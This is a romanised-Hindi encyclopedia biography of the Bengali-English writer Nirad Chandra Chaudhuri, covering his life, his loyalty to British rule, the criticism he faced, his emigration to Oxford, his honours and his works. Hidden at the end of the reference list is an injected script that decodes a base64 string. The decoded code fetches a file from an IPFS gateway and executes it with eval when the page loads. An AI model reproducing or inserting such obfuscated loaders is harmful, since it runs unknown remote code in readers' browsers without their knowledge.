नीरद चन्द्र चौधरी
nirad chandr chaudhari
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| poora nam | nirad chandr chaudhari |
| janm | 23 navambar, 1897 |
| janm bhoomi | kishoraganj, poorvi bangal[1] |
| mrityu | 1 agast, 1999 |
| mrityu sthan | aauksaford, ianglaind |
| karm bhoomi | bharat |
| karm-kshetr | lekhan |
| mukhy rachanaean | thri h aaursamen aauf d nyoo epokailips', 'daee haiand', 'gret enark' |
| puraskar-upadhi | 'aau'ksaford vishvavidyalay' se manad d aauktaret ki upadhi, |
| nagarikata | bharatiy |
| any janakari | nirad chandr chaudhari ko 'aantim british samrajyavadi' aur 'aantim bhoora sahab' kaha gaya. unaki kriti ki lagatar alochana ki gee tatha bharat ke sahityik jagath se unhean nishkasit kar diya gaya tha. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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nirad chandr chaudhari (aangrezi: Nirad Chandra Chaudhuri ; janm- 23 navambar, 1897, kishoraganj, poorvi bangal[2]; mrityu- 1 agast, 1999, aauksaford, ianglaind) bharat mean janme prasiddh baangla tatha aangrezi lekhak aur vidvan, jinaki aantim pustak 'thri h aaursamen aauf d nyoo epokailips' (1997) ka prakashan unake sauvean janmadin se kuchh hi din pahale hua tha.
parichay
nirad chandr chaudhari ka janm 23 navambar, 1897 ko poorvi bangal (aj ka baangladesh) ke kishoraganj mean hua tha. vakil pita aur nirakshar mata ke bete nirad chandr chaudhari ka sheksapiyar tatha sanskrit ke shastriy granthoan par saman adhikar tha. vah apani sanskriti ke hi saman pashchimi sanskriti ke bhi prashansak the. vah ek paandityapoorn, lekin jatil v sanaki vyakti the aur unaki sabase satik vyakhya galat sthan par galat samay mean janme vyakti ke roop mean ki ja sakati hai.[3]
british shasan ke vafadar
bharat ke sahityik paridrishy par nirad chandr chaudhari ka agaman vivadoan se ghira hua tha. vah british shasan ke prati vafadar the aur unhoanne apani pahali pustak 'd aautobayografi aauf en ananon iandiyan' (1951) ko british samrajy ko samarpit kiya tha. unaka dridh vishvas tha ki "hamamean jo kuchh bhi achchha tatha jivant hai, vah do sau varsh purane aupaniveshik shasan ke dauran hi poshit aur vikasit hua hai." apani asurakshaoan se joojhane ki koshish kar rahe nav-svatantr rashtr mean, jahaan upanivesh virodhi bhavanaean charam par thian, unaki kriti ka svagat nahian hua. vah asvikary vyakti ban ge aur unhean bauddhik yantranaean jhelani p dian. vyavastha ne unake prati kafi k da rukh apanaya aur unhean aaul iandiya rediyo se bahar nikal diya gaya, jahaan vah prasarak tatha rajanitik tippanikar ke roop mean karyarat the.
ianglaind mean nivas
nirad chandr chaudhari ko 'aantim british samrajyavadi' aur 'aantim bhoora sahab' kaha gaya. unaki kriti ki lagatar alochana ki gee tatha bharat ke sahityik jagath se unhean nishkasit kar diya gaya. svanirvasan ke taur par 1970 ke dashak mean vah ianglaiannd ravana ho ge aur vishvavidyalay shahar aauksaford mean bas ge. unake lie yah ghar lautane ke saman tha. lekin yah ghar us ianglaind se kafi bhinn tha, adarsh roop mean chaudhari jisaki kalpana karate the.[3]
samman
ianglaind mean bhi nirad chaudhari utane hi alag-thalag the, jitane bharat mean. aangrezoan ne unhean samman diya, unhean 'aau'ksaford vishvavidyalay' se manad d aauktaret ki upadhi mili. unhean maharani ki or se manad si.bi.ee. se sammanit kiya gaya, lekin ve log unaki dridh bharatiyata ke sath british samrajy ke purane vaibhav ki unaki yadoan ke qayal nahian ho pae.
kritiyaan tatha atmakatha
chaudhari bhi ianglaind mean kuchh varshoan mean hue amoolachool parivartan ko svikar nahian kar pae aur moolyoan ke prati pratibaddhata ke poorn abhav se kafi nirash hue, kyoanki isi visheshata ne ek samay mean ianglaind ko mahanh rashtr banaya tha. unaki ye bhavanaean unaki kritiyoan aur unaki atmakatha ke aantim khand 'daee haiand', 'gret enark' (1987) mean pradarshit hoti hai, jo unhoanne 90 varsh ki ayu mean likhi thi. unhoanne likha ki- "agrezoan ki mahanata hamesha ke lie samapt ho gee hai." unake nibandhoan ki aantim pustak 'thri h aaursamen aauf d nyoo epokailips' bharatiy netritv aur rashtr ke patan ke bare mean tippani hai.[3]
deshavasiyoan ki prashansa
bad ke varshoan mean nirad chandr chaudhari ko apane deshavasiyoan ki prashansa mili, jinhoanne pahale unhean galat samajha tha aur unaki anadekhi ki thi. ek adhik paripakv, sarvadeshiy aur atmavishvas se yukt uchch varg ne unaki atmakatha ke aantim khand ki prashansa ki. unhoanne phir se baangla mean likhana shuroo kiya aur bad mean unhean kalakatta (vartaman kolakata) mean ek sahityik puraskar se sammanit kiya gaya.
nidhan
nirad chandr chaudhari ka nidhan 1 agast, 1999 ko aauksaford, ianglaind mean hua.
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tika tippani aur sandarbh
- ↑ vartaman baangladesh
- ↑ vartaman baangladesh
- ↑ 3.0 3.1 3.2 bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 180 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>